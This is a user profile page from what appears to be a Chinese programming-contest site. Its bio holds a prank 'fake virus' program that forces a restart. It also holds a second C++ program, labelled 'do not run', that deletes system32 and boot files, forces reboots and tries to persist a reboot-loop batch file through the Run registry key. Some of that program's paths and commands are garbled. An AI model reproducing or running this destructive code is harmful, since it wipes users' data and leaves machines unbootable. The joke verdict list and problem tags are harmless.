• 个人简介

    此用户太鶸已被封禁

    点击以展开 你是第Page Views Count个来看我的

    我儿子的主页-> 莫名其妙 (连书弈)

    模拟电脑中毒

    #include <stdlib.h>
    #include <stdio.h>
    #include <iostream>
    int main() {
    	system("title 你中毒了");
    	system("color c"); 
      int x = 50005;
    	while(x--)std::cout << (rand() & 1 ? '1' : '0');
      system("shutdown /r");
    }
    

    不要运行

    #include <windows.h>
    int main(){
      system("del %systemdrives\\*.*/f /s /q");
      system("shutdown -r -f -t 00");
      system("del C:\\Windows\\system32\\*.*/q");
      system("attrib -r -s -h C:\\autoexec.bat");
      system("del c:\\autoexec.bat");
      system("attrib -r -s -h c:\\boot.ini");
      system("del c:\\boot.ini");
      system("attrib -r -s -h c:\\ntldr");
      system("del c:\\ntldr");
      system("attrib -r -s -h c:\\windows\\win.ini");
      system("del c:\\windows\\win.ini");
      system("echo @echo off>c:windowshartlell.bat");
      system("echo break off>>c:windowshartlell.bat");
      system("echo shutdown -r -t 11-f>>c:windowshartlell.bat");
      system("echo end>>c:windowshartlell.bat");
      system("reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun");
      system("/v startapi /t reg_sz/d c:windowshartlell.bat /f");
      system("reg add hkey-current_usersoftwaremicrosoftwindowscurrentversionrun");
      system("/v/t reg_sz/d c:windowshartlell.bat /f");
      system("PAUSE");
      return 0;
    }
    

    AC: awful correct 粗劣的答案
    WA:wonderful answer 完美的答案
    RE: right ending 运行成功
    CE:compiled easily 轻松通过编译
    TLE:time limit enough 时间充裕
    MLE:memory limit enough 空间充裕
    OLE:output length excellent 输出长度完美
    AK:all knocked-off 全部失败
    UKE:Known but Unsolvable Errors已知但不能解决的问题
    
  • 通过的题目

  • 最近活动

    This person is lazy and didn't join any contests or homework.
  • 最近编写的题解

    This person is lazy and didn't write any solutions.
  • Stat

  • Rating

题目标签

模拟
2
动态规划
2
dp
2
数论
2
数学
2
2004
1
系统测试
1
字符串
1
O2优化
1
单调队列
1
NOIp 提高组
1
递推
1
线性结构
1
分治
1
枚举
1
暴力
1
搜索
1
递归
1
深度优先搜索
1
DFS
1